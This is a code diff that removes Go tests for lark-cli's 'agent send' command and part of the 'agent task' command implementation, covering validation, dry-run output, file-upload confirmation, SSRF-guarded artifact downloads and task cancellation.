-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"encoding/json"
-	"errors"
-	"strings"
-	"testing"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// sendCmdCtx builds a `lark-cli agent send` leaf command whose CommandPath() is
-// non-empty (required for content-safety scanning) and whose --as flag is
-// explicitly set to bot so ResolveAs honors it verbatim.
-func sendCmdCtx(t *testing.T) *cobra.Command {
-	t.Helper()
-	root := &cobra.Command{Use: "lark-cli"}
-	group := &cobra.Command{Use: "agent"}
-	leaf := &cobra.Command{Use: "send"}
-	root.AddCommand(group)
-	group.AddCommand(leaf)
-	leaf.Flags().String("as", "", "identity")
-	if err := leaf.Flags().Set("as", "bot"); err != nil {
-		t.Fatal(err)
-	}
-	leaf.SetContext(context.Background())
-	return leaf
-}
-
-// sendTestOpts wires a sendOptions against a real (test) Factory, addressing
-// the scripted fakeflow agent agt_x under an explicit bot identity. The
-// Factory's httpmock registry holds zero stubs, so any HTTP attempt fails the
-// test — everything under test here is command-layer behavior over the
-// scripted provider.
-func sendTestOpts(t *testing.T) *sendOptions {
-	t.Helper()
-	registerScripted()
-	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
-	f, _, _, _ := cmdutil.TestFactory(t, cfg)
-	return &sendOptions{
-		Factory: f,
-		Cmd:     sendCmdCtx(t),
-		Ref:     "fakeflow:agt_x",
-		As:      "bot",
-	}
-}
-
-// TestSendRequiresText pins that an empty --text is a validation error
-// (subtype invalid_argument) raised before any provider is built.
-func TestSendRequiresText(t *testing.T) {
-	err := agentSendRun(&sendOptions{Ref: "example:agt_x", Text: ""})
-	if err == nil {
-		t.Fatal("missing --text should raise a validation error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("want validation error, got %T", err)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype should be invalid_argument, got %+v", p)
-	}
-	// hint contract: a missing --text must carry a copy-pasteable remediation
-	// hint, and the param uses the -- prefix.
-	if !strings.Contains(p.Hint, "--text") {
-		t.Errorf("hint should guide adding --text, got %q", p.Hint)
-	}
-	var verr *errs.ValidationError
-	if !errors.As(err, &verr) || verr.Param != "--text" {
-		t.Errorf("param should be --text, got %+v", verr)
-	}
-}
-
-// TestSendTaskIDRequiresContextID pins that --task-id without --context-id is a
-// validation error, raised before any provider is built.
-func TestSendTaskIDRequiresContextID(t *testing.T) {
-	err := agentSendRun(&sendOptions{Ref: "example:agt_x", Text: "x", TaskID: "t1"})
-	if err == nil {
-		t.Fatal("--task-id without --context-id should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("want validation error, got %T", err)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype should be invalid_argument, got %+v", p)
-	}
-	// hint contract: state the next step clearly (--task-id must be provided
-	// together with --context-id).
-	if !strings.Contains(p.Hint, "--context-id") {
-		t.Errorf("hint should note it must be used with --context-id, got %q", p.Hint)
-	}
-	var verr *errs.ValidationError
-	if !errors.As(err, &verr) || verr.Param != "--task-id" {
-		t.Errorf("param should be --task-id, got %+v", verr)
-	}
-}
-
-// workingTask is the canonical non-terminal task the scripted Send returns for
-// the happy-path tests.
-func workingTask() *iagent.AgentTask {
-	return &iagent.AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: iagent.StateWorking}
-}
-
-// TestSendPrettyFormat pins that `send --format pretty` renders the
-// resulting task as key: value lines (previously the flag was registered but
-// silently ignored).
-func TestSendPrettyFormat(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "分析销售"
-	opts.Format = "pretty"
-	setScripted(t, scriptedHooks{send: func(iagent.SendInput) (*iagent.AgentTask, error) {
-		return workingTask(), nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentSendRun(opts); err != nil {
-		t.Fatalf("send --format pretty should not error: %v", err)
-	}
-	text := string(out.Bytes())
-	for _, want := range []string{"state: working", "task_id: chat_1", "context_id: sess_1"} {
-		if !strings.Contains(text, want) {
-			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
-		}
-	}
-	var env output.Envelope
-	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
-		t.Errorf("pretty should not be a JSON envelope: %s", text)
-	}
-}
-
-// TestSendDryRunPrettyFormat pins that --dry-run also consumes --format pretty
-// (key: value preview) instead of silently emitting JSON.
-func TestSendDryRunPrettyFormat(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "分析销售"
-	opts.DryRun = true
-	opts.Format = "pretty"
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentSendRun(opts); err != nil {
-		t.Fatalf("dry-run pretty should not error: %v", err)
-	}
-	text := string(out.Bytes())
-	for _, want := range []string{"dry_run: true", "ref: fakeflow:agt_x", "text: 分析销售"} {
-		if !strings.Contains(text, want) {
-			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
-		}
-	}
-	var env output.Envelope
-	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
-		t.Errorf("pretty should not be a JSON envelope: %s", text)
-	}
-}
-
-// TestSendDryRunPrettyNeutralizesInjection pins F2: the dry-run pretty preview
-// runs context_id/task_id through kvValue (like every other pretty face), so a
-// value carrying a newline cannot forge an adjacent "key: value" field row.
-func TestSendDryRunPrettyNeutralizesInjection(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "hi"
-	opts.DryRun = true
-	opts.Format = "pretty"
-	opts.ContextID = "ctx1\nstate: completed"
-	opts.TaskID = "task1\ndeleted: true"
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentSendRun(opts); err != nil {
-		t.Fatalf("dry-run pretty should not error: %v", err)
-	}
-	text := string(out.Bytes())
-	// The raw newline must not survive into a forged adjacent row.
-	if strings.Contains(text, "context_id: ctx1\nstate: completed") {
-		t.Errorf("context_id newline not neutralized, forged a field row:\n%s", text)
-	}
-	if strings.Contains(text, "task_id: task1\ndeleted: true") {
-		t.Errorf("task_id newline not neutralized, forged a field row:\n%s", text)
-	}
-	// kvValue collapses the newline to a space, keeping the value on one line.
-	if !strings.Contains(text, "context_id: ctx1 state: completed") {
-		t.Errorf("context_id should collapse to one line, got:\n%s", text)
-	}
-	if !strings.Contains(text, "task_id: task1 deleted: true") {
-		t.Errorf("task_id should collapse to one line, got:\n%s", text)
-	}
-}
-
-// TestSendNoParamsRequired pins card v2: the scripted card declares no
-// parameters, so a send without any --param passes card validation — asserted
-// via --dry-run so no provider Send fires. A malformed --param is still a
-// validation error.
-func TestSendNoParamsRequired(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "分析销售"
-	opts.Params = nil
-	opts.DryRun = true
-	if err := agentSendRun(opts); err != nil {
-		t.Fatalf("card has no required params, send without --param should pass validation: %v", err)
-	}
-
-	opts2 := sendTestOpts(t)
-	opts2.Text = "分析销售"
-	opts2.Params = []string{"noequals"} // a --param without '=' should still raise validation
-	opts2.DryRun = true
-	err := agentSendRun(opts2)
-	if err == nil {
-		t.Fatal("malformed --param should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("want validation error, got %T", err)
-	}
-}
-
-// TestSendUnknownParamRejected pins, against an empty-parameters card, that
-// any --param key is unknown → invalid_argument with a hint pointing at
-// `agent card`, raised before any provider Send (asserted via --dry-run with
-// no send hook installed).
-func TestSendUnknownParamRejected(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "分析销售"
-	opts.Params = []string{"app_id=app_1"}
-	opts.DryRun = true
-	err := agentSendRun(opts)
-	if err == nil {
-		t.Fatal("card did not declare app_id, --param app_id should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("want validation error, got %T", err)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype should be invalid_argument, got %+v", p)
-	}
-	if !strings.Contains(p.Hint, "agent card") {
-		t.Fatalf("hint should point to agent card, got %q", p.Hint)
-	}
-}
-
-// TestSendDryRun pins that --dry-run prints a would_send preview and never
-// calls the provider (no send hook installed → a Send would panic).
-func TestSendDryRun(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "分析销售"
-	opts.DryRun = true
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentSendRun(opts); err != nil {
-		t.Fatalf("dry-run should not error: %v", err)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("dry-run output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
-	}
-	if !env.OK {
-		t.Errorf("ok should be true: %+v", env)
-	}
-	data, ok := env.Data.(map[string]interface{})
-	if !ok {
-		t.Fatalf("data should be an object, got %T", env.Data)
-	}
-	if data["dry_run"] != true {
-		t.Errorf("data.dry_run should be true, got %v", data["dry_run"])
-	}
-	would, ok := data["would_send"].(map[string]interface{})
-	if !ok {
-		t.Fatalf("data.would_send should be an object, got %T", data["would_send"])
-	}
-	if would["text"] != "分析销售" {
-		t.Errorf("would_send.text should echo the text, got %v", would["text"])
-	}
-}
-
-// TestSendStartsTask pins the happy path: a single Send fires and returns the
-// submitted / working task in a success envelope immediately (no polling), with
-// a meta.next hint pointing at task get --watch.
-func TestSendStartsTask(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "分析销售"
-	var gotText string
-	setScripted(t, scriptedHooks{send: func(in iagent.SendInput) (*iagent.AgentTask, error) {
-		gotText = in.Text
-		return workingTask(), nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-
-	if err := agentSendRun(opts); err != nil {
-		t.Fatalf("send should not error: %v", err)
-	}
-	if gotText != "分析销售" {
-		t.Errorf("provider should receive the original text, got %q", gotText)
-	}
-	var env output.Envelope
-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
-	}
-	data, _ := env.Data.(map[string]interface{})
-	if data["task_id"] != "chat_1" {
-		t.Errorf("task_id should be chat_1, got %v", data["task_id"])
-	}
-	if data["state"] != string(iagent.StateWorking) {
-		t.Errorf("state should be working, got %v", data["state"])
-	}
-	// meta.next should suggest polling / continuing.
-	if !strings.Contains(string(out.Bytes()), `"next"`) {
-		t.Errorf("non-terminal should provide meta.next follow-up: %s", string(out.Bytes()))
-	}
-}
-
-// TestSendSendError surfaces a provider Send failure unchanged.
-func TestSendSendError(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "x"
-	setScripted(t, scriptedHooks{send: func(iagent.SendInput) (*iagent.AgentTask, error) {
-		return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
-	}})
-	if err := agentSendRun(opts); err == nil {
-		t.Fatal("Send error should propagate")
-	}
-}
-
-// TestSendInvalidRef surfaces a malformed ref as a validation error after the
-// text/task-id guards pass.
-func TestSendInvalidRef(t *testing.T) {
-	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
-	err := agentSendRun(&sendOptions{Ref: "no-colon", Text: "x", Cmd: sendCmdCtx(t), As: "bot", Factory: f})
-	if err == nil {
-		t.Fatal("malformed ref should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("want validation error, got %T", err)
-	}
-}
-
-// TestNewCmdAgentSend_WriteRiskAndArgs pins ExactArgs(1), write risk, and the
-// presence of the send-specific flags.
-func TestNewCmdAgentSend_WriteRiskAndArgs(t *testing.T) {
-	cmd := NewCmdAgentSend(nil, nil)
-	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskWrite {
-		t.Errorf("agent send should be marked write risk, got level=%q ok=%v", level, ok)
-	}
-	if err := cmd.Args(cmd, []string{}); err == nil {
-		t.Error("agent send missing ref should raise an args error (ExactArgs 1)")
-	}
-	if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
-		t.Errorf("agent send with a single ref should be valid: %v", err)
-	}
-	for _, name := range []string{"text", "file", "param", "context-id", "task-id", "dry-run", "as", "format", "jq"} {
-		if cmd.Flags().Lookup(name) == nil {
-			t.Errorf("agent send should have --%s flag", name)
-		}
-	}
-	if cmd.Flags().Lookup("wait") != nil {
-		t.Error("agent send --wait should be removed (polling goes through task get --watch)")
-	}
-	// The --file help must point out that files are sent off to the remote
-	// provider (file-egress requirement).
-	fileFlag := cmd.Flags().Lookup("file")
-	if fileFlag != nil && !strings.Contains(fileFlag.Usage, "外发") && !strings.Contains(fileFlag.Usage, "上传") {
-		t.Errorf("--file help should note files are sent out to the remote provider, got %q", fileFlag.Usage)
-	}
-}
-
-// TestNewCmdAgentSend_RunFOverride confirms the injected runF hook is used
-// instead of the production path (construction-time seam).
-func TestNewCmdAgentSend_RunFOverride(t *testing.T) {
-	called := false
-	var captured *sendOptions
-	cmd := NewCmdAgentSend(nil, func(opts *sendOptions) error {
-		called = true
-		captured = opts
-		return nil
-	})
-	cmd.SetArgs([]string{"example:agt_x", "--text", "hi"})
-	cmd.SetContext(context.Background())
-	if err := cmd.Execute(); err != nil {
-		t.Fatalf("execute should not error: %v", err)
-	}
-	if !called {
-		t.Fatal("runF should be called")
-	}
-	if captured.Ref != "example:agt_x" || captured.Text != "hi" {
-		t.Errorf("opts not populated correctly: %+v", captured)
-	}
-}
-
-// TestSend_FileRequiresYes pins the --file exfil confirmation gate: a real send
-// carrying --file to a provider that supports file upload (the scripted card has
-// file_input=true) requires --yes, so without it the command returns
-// confirmation_required (exit 10) BEFORE reaching the provider — the unset send
-// hook is a tripwire that would panic if the gate let the upload through.
-func TestSend_FileRequiresYes(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "hi"
-	opts.Files = []string{"local.txt"} // no --yes
-
-	err := agentSendRun(opts)
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeConfirmationRequired {
-		t.Fatalf("send --file without --yes should be confirmation_required, got %+v (err=%v)", p, err)
-	}
-	if output.ExitCodeOf(err) != output.ExitConfirmationRequired {
-		t.Fatalf("exit should be %d, got %d", output.ExitConfirmationRequired, output.ExitCodeOf(err))
-	}
-}
-
-// TestSend_FileWithYesProceeds pins that --yes satisfies the --file gate: the
-// send reaches the provider, which receives the file path.
-func TestSend_FileWithYesProceeds(t *testing.T) {
-	opts := sendTestOpts(t)
-	sent := false
-	setScripted(t, scriptedHooks{send: func(in iagent.SendInput) (*iagent.AgentTask, error) {
-		sent = true
-		if len(in.Files) != 1 || in.Files[0] != "local.txt" {
-			t.Errorf("provider should receive the --file path, got %v", in.Files)
-		}
-		return &iagent.AgentTask{TaskID: "t1", State: iagent.StateCompleted, IsTerminal: true}, nil
-	}})
-	opts.Text = "hi"
-	opts.Files = []string{"local.txt"}
-	opts.Yes = true
-
-	if err := agentSendRun(opts); err != nil {
-		t.Fatalf("send --file --yes should proceed: %v", err)
-	}
-	if !sent {
-		t.Error("provider Send should be reached after --yes")
-	}
-}
-
-// TestSend_FileDryRunNotGated pins that --dry-run with --file is exempt from the
-// gate (dry-run never uploads), so it needs no --yes and never reaches the
-// provider (unset send hook stays a tripwire).
-func TestSend_FileDryRunNotGated(t *testing.T) {
-	opts := sendTestOpts(t)
-	opts.Text = "hi"
-	opts.Files = []string{"local.txt"}
-	opts.DryRun = true // no --yes
-
-	if err := agentSendRun(opts); err != nil {
-		t.Fatalf("dry-run --file should not be gated: %v", err)
-	}
-}

cmd/agent/task.go

@@ -1,485 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"fmt"
-	"io"
-	"net/http"
-	"strings"
-	"time"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/output"
-	"github.com/larksuite/cli/internal/validate"
-	"github.com/larksuite/cli/internal/vfs"
-)
-
-// maxArtifactBytes caps a single downloaded artifact to guard against an
-// untrusted host streaming an unbounded body onto local disk.
-const maxArtifactBytes = 256 << 20 // 256 MiB
-
-// taskOptions holds all inputs for the `agent task get|list|cancel` leaves. A
-// single struct backs all three so the shared fields (Factory, Cmd, Ref, As)
-// are wired once; each RunE reads only the fields its verb needs.
-type taskOptions struct {
-	Factory    *cmdutil.Factory
-	Cmd        *cobra.Command
-	Ref        string
-	TaskID     string
-	ContextID  string
-	ArtifactID string
-	Output     string
-	Force      bool
-	Watch      bool
-	Timeout    time.Duration
-	As         string
-	Format     string
-}
-
-// resolveDownload is the DownloadArtifact seam: it resolves the provider
-// addressed by opts under the effective identity, runs the local scope
-// preflight, and fetches the artifact descriptor. Tests swap it to return
-// inline bytes without a Factory / network.
-var resolveDownload = func(opts *taskOptions) (*iagent.ArtifactData, error) {
-	p, id, err := resolveProvider(opts.Factory, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return nil, err
-	}
-	// Capability gate before the API call: a provider that does not wire
-	// DownloadArtifact (card artifact_download=false) returns unsupported_capability.
-	if p.DownloadArtifact == nil {
-		return nil, capabilityError(opts.Ref, "artifact download", iagent.CapArtifactDownload)
-	}
-	if err := preflightScopesForRef(opts.Factory, id, opts.Ref); err != nil {
-		return nil, err
-	}
-	return p.DownloadArtifact(opts.Cmd.Context(), opts.TaskID, opts.ArtifactID)
-}
-
-// artifactFetch is the URL-download seam: it SSRF-validates rawURL and fetches
-// its bytes with a download-hardened client. Tests swap it to serve a loopback
-// httptest server (which the production SSRF guard would otherwise block).
-var artifactFetch = fetchArtifactURL
-
-// hardenDownloadClient is the download-client-build seam inside fetchArtifactURL.
-// Production wraps the base client with the SSRF-hardened redirect/dial rules;
-// tests swap it to pass the (interceptable) base client through unchanged so the
-// request/status/read/limit logic can run against an httpmock transport that the
-// hardened client's transport clone would otherwise discard.
-var hardenDownloadClient = func(base *http.Client) *http.Client {
-	return validate.NewDownloadHTTPClient(base, validate.DownloadHTTPClientOptions{})
-}
-
-// NewCmdAgentTask builds the `agent task` command group: query, list and cancel
-// tasks on a remote agent. It is a pure group with no RunE so an unknown
-// subcommand is reported rather than silently swallowed.
-func NewCmdAgentTask(f *cmdutil.Factory) *cobra.Command {
-	cmd := &cobra.Command{
-		Use:   "task",
-		Short: "Query / list / cancel a remote agent's tasks",
-		Long:  "task get <agent_ref> <task-id> queries a single task (with --watch polling and --artifact download); task list <agent_ref> lists tasks; task cancel <agent_ref> <task-id> cancels (capability-gated).",
-	}
-	cmd.AddCommand(NewCmdAgentTaskGet(f))
-	cmd.AddCommand(NewCmdAgentTaskList(f))
-	cmd.AddCommand(NewCmdAgentTaskCancel(f))
-	return cmd
-}
-
-// NewCmdAgentTaskGet builds `agent task get <ref> <task-id>`: fetch a single
-// task's state and artifacts. `--watch` polls until the task reaches a stop
-// condition and the terminal state drives the semantic exit code;
-// `--timeout` bounds that poll (0 = unbounded, blocking to a stop condition —
-// the backward-compatible default). `--artifact <id>` downloads that artifact
-// to `-o` instead of printing the task: a URL-type artifact is SSRF-validated
-// and fetched, an inline-bytes artifact is written straight to disk.
-// Risk=read.
-func NewCmdAgentTaskGet(f *cmdutil.Factory) *cobra.Command {
-	opts := &taskOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "get <agent_ref> <task-id>",
-		Short: "Query a single task's state and artifacts",
-		Long:  "Query the state and artifacts of task-id under the agent addressed by agent_ref. --watch polls until a stop condition and then prints the final state; --timeout bounds the watch (0 = unbounded, blocking to a terminal state). --artifact <id> with -o downloads that artifact to a local file.",
-		Args:  exactArgsWithUsage(2),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			opts.Ref = args[0]
-			opts.TaskID = args[1]
-			return agentTaskGetRun(opts)
-		},
-	}
-	cmd.Flags().BoolVar(&opts.Watch, "watch", false, "轮询任务直到进入停轮询条件（终态 / 需补输入 / 需补鉴权）再打印最终状态")
-	cmd.Flags().DurationVar(&opts.Timeout, "timeout", 0, "--watch 的最长轮询时长，如 30s；0=无界（阻塞到终态）；到点未终止则返回当前状态+续 watch 命令")
-	cmd.Flags().StringVar(&opts.ArtifactID, "artifact", "", "下载指定产物 id（须配合 -o 指定落盘路径），不打印任务详情")
-	cmd.Flags().StringVarP(&opts.Output, "output", "o", "", "产物落盘路径（仅 --artifact 时使用）")
-	cmd.Flags().BoolVar(&opts.Force, "force", false, "允许覆盖已存在的 -o 目标文件（默认拒绝覆盖，防止误毁本地文件）")
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	addAsFlag(cmd, f, &opts.As)
-	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
-	return cmd
-}
-
-// NewCmdAgentTaskList builds `agent task list <ref>`: enumerate the agent's
-// tasks, optionally filtered by `--context-id`, into {tasks:[...]} with a
-// meta.count. Risk=read.
-func NewCmdAgentTaskList(f *cmdutil.Factory) *cobra.Command {
-	opts := &taskOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "list <agent_ref>",
-		Short: "List a remote agent's tasks",
-		Long:  "List the tasks of the agent addressed by agent_ref; --context-id filters by multi-turn context.",
-		Args:  exactArgsWithUsage(1),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			opts.Ref = args[0]
-			return agentTaskListRun(opts)
-		},
-	}
-	cmd.Flags().StringVar(&opts.ContextID, "context-id", "", "按多轮上下文 id 过滤任务")
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	addAsFlag(cmd, f, &opts.As)
-	cmdutil.SetRisk(cmd, cmdutil.RiskRead)
-	return cmd
-}
-
-// NewCmdAgentTaskCancel builds `agent task cancel <ref> <task-id>`: cancel
-// (interrupt) a task. Cancel is capability-gated on the Card's task_cancel: for
-// an agent that does not support it (task_cancel=false, e.g. example:echo) the
-// command returns unsupported_capability without contacting the API.
-// Risk=write.
-func NewCmdAgentTaskCancel(f *cmdutil.Factory) *cobra.Command {
-	opts := &taskOptions{Factory: f}
-	cmd := &cobra.Command{
-		Use:   "cancel <agent_ref> <task-id>",
-		Short: "Cancel (interrupt) a remote agent's task",
-		Long:  "Cancel task-id under the agent addressed by agent_ref. If the agent does not support cancel (card task_cancel=false), it returns unsupported_capability without sending a request.",
-		Args:  exactArgsWithUsage(2),
-		RunE: func(cmd *cobra.Command, args []string) error {
-			if err := validateFormat(opts.Format); err != nil {
-				return err
-			}
-			opts.Cmd = cmd
-			opts.Ref = args[0]
-			opts.TaskID = args[1]
-			return agentTaskCancelRun(opts)
-		},
-	}
-	cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
-	cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
-	addAsFlag(cmd, f, &opts.As)
-	cmdutil.SetRisk(cmd, cmdutil.RiskWrite)
-	return cmd
-}
-
-// addAsFlag registers the identity flag: the real API-identity flag when a
-// Factory is present, or a bare --as for construction-time unit tests (f nil).
-func addAsFlag(cmd *cobra.Command, f *cmdutil.Factory, as *string) {
-	if f != nil {
-		cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, as)
-		return
-	}
-	cmd.Flags().StringVar(as, "as", "", "identity type: user | bot")
-}
-
-// agentTaskGetRun runs `task get`. The `--artifact` client-side guard (requires
-// -o) runs first so it never touches the network and holds under a nil Factory.
-// With `--artifact` it downloads the named artifact to -o; otherwise it
-// fetches the task, optionally polling it to a stop condition under --watch, and
-// emits the task with the terminal state driving the semantic exit code.
-func agentTaskGetRun(opts *taskOptions) error {
-	if opts.ArtifactID != "" {
-		if opts.Output == "" {
-			return errs.NewValidationError(errs.SubtypeInvalidArgument,
-				"--artifact 需配合 -o/--output 指定落盘路径").
-				WithParam("--output").
-				WithHint("补充 -o <落盘路径> 后重发")
-		}
-		return downloadArtifact(opts)
-	}
-
-	// --timeout only bounds the --watch poll; without --watch it is meaningless.
-	// Guard it client-side (mirrors the send --task-id/--context-id combo check)
-	// so it never touches the network and holds under a nil Factory.
-	if opts.Timeout > 0 && !opts.Watch {
-		return errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"--timeout 需与 --watch 一起使用").
-			WithParam("--timeout").
-			WithHint("--timeout 需与 --watch 一起使用")
-	}
-
-	f := opts.Factory
-	p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return err
-	}
-	// Local scope preflight: after resolveProvider, before the API call.
-	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
-		return err
-	}
-
-	ctx := opts.Cmd.Context()
-	task, err := p.GetTask(ctx, opts.TaskID)
-	if err != nil {
-		return err
-	}
-
-	if opts.Watch && !task.State.ShouldStopPolling() {
-		// A positive --timeout bounds the poll: pollToStop returns the most recent
-		// task with a nil error when the deadline fires (a timeout is an
-		// observation-window close, not a failure), so a long task degrades to
-		// "current state + a fresh watch hint" instead of blocking forever. 0 =
-		// unbounded (the backward-compatible default). pollToStop is unchanged.
-		pollCtx := ctx
-		if opts.Timeout > 0 {
-			var cancel context.CancelFunc
-			pollCtx, cancel = context.WithTimeout(ctx, opts.Timeout)
-			defer cancel()
-		}
-		final, perr := pollToStop(pollCtx, p, opts.TaskID)
-		if perr != nil {
-			return perr
-		}
-		if final != nil {
-			task = final
-		}
-	}
-
-	// Derive IsTerminal from State (single source of truth) before any consumer
-	// — emitTask's output and semanticExitError below both read the flag.
-	normalizeTask(task)
-	if err := emitTask(f, opts.Cmd, task, nextForTask(opts.Ref, task), opts.Format); err != nil {
-		return err
-	}
-	// Under --watch a non-successful terminal state signals exit 1; a
-	// plain get (or a non-terminal stop) is exit 0.
-	if opts.Watch {
-		return semanticExitError(task)
-	}
-	return nil
-}
-
-// agentTaskListRun runs `task list`: resolves the provider, lists tasks
-// (optionally filtered by --context-id) and emits {tasks:[...]} with meta.count.
-func agentTaskListRun(opts *taskOptions) error {
-	f := opts.Factory
-	p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return err
-	}
-	// Capability gate before the API call: a provider that does not wire
-	// ListTasks (card task_list=false) returns unsupported_capability.
-	if p.ListTasks == nil {
-		return capabilityError(opts.Ref, "task list", iagent.CapTaskList)
-	}
-	// Local scope preflight: after resolveProvider, before the API call.
-	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
-		return err
-	}
-	tasks, err := p.ListTasks(opts.Cmd.Context(), opts.ContextID)
-	if err != nil {
-		return err
-	}
-	tasks = normalizeTaskSummaries(tasks)
-	// pretty is a human view only; a --jq expression implies structured JSON.
-	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
-		printTaskSummariesTSV(f.IOStreams.Out, tasks)
-		return nil
-	}
-	env := output.Envelope{
-		OK:       true,
-		Identity: string(id),
-		Data:     map[string]interface{}{"tasks": tasks},
-		Meta:     &output.Meta{Count: len(tasks)},
-		Notice:   output.GetNotice(),
-	}
-	if jq := jqExpr(opts.Cmd); jq != "" {
-		return output.JqFilter(f.IOStreams.Out, env, jq)
-	}
-	output.PrintJson(f.IOStreams.Out, env)
-	return nil
-}
-
-// agentTaskCancelRun runs `task cancel`. Cancel is capability-gated before any
-// network access: it resolves the (statically synthesized) Card for ref and, if
-// task_cancel is not supported, returns unsupported_capability without a Factory
-// or API call. Only a supporting provider reaches resolveProvider +
-// CancelTask.
-func agentTaskCancelRun(opts *taskOptions) error {
-	// Gate before requiring a Factory / network: resolve with zero Deps and read
-	// the CancelTask capability (a wired field == card task_cancel=true). An agent
-	// that does not support cancel (e.g. example:echo) returns
-	// unsupported_capability with no Factory or API access.
-	probe, err := iagent.Resolve(opts.Ref, iagent.Deps{})
-	if err != nil {
-		return wrapRefResolveError(err)
-	}
-	if probe.CancelTask == nil {
-		return capabilityError(opts.Ref, "task cancel", iagent.CapTaskCancel)
-	}
-
-	f := opts.Factory
-	p, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
-	if err != nil {
-		return err
-	}
-	// Local scope preflight: after resolveProvider, before the API call.
-	// A task_cancel=false agent never reaches here (gated above); it is wired so
-	// a provider that supports cancel is not silently exempt from the
-	// all-or-nothing scope check.
-	if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
-		return err
-	}
-	if err := p.CancelTask(opts.Cmd.Context(), opts.TaskID); err != nil {
-		return err
-	}
-	// pretty is a human view only; a --jq expression implies structured JSON.
-	if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
-		fmt.Fprintf(f.IOStreams.Out, "task_id: %s\ncanceled: true\n", kvValue(opts.TaskID))
-		return nil
-	}
-	env := output.Envelope{
-		OK:       true,
-		Identity: string(id),
-		Data:     map[string]interface{}{"task_id": opts.TaskID, "canceled": true},
-		Notice:   output.GetNotice(),
-	}
-	if jq := jqExpr(opts.Cmd); jq != "" {
-		return output.JqFilter(f.IOStreams.Out, env, jq)
-	}
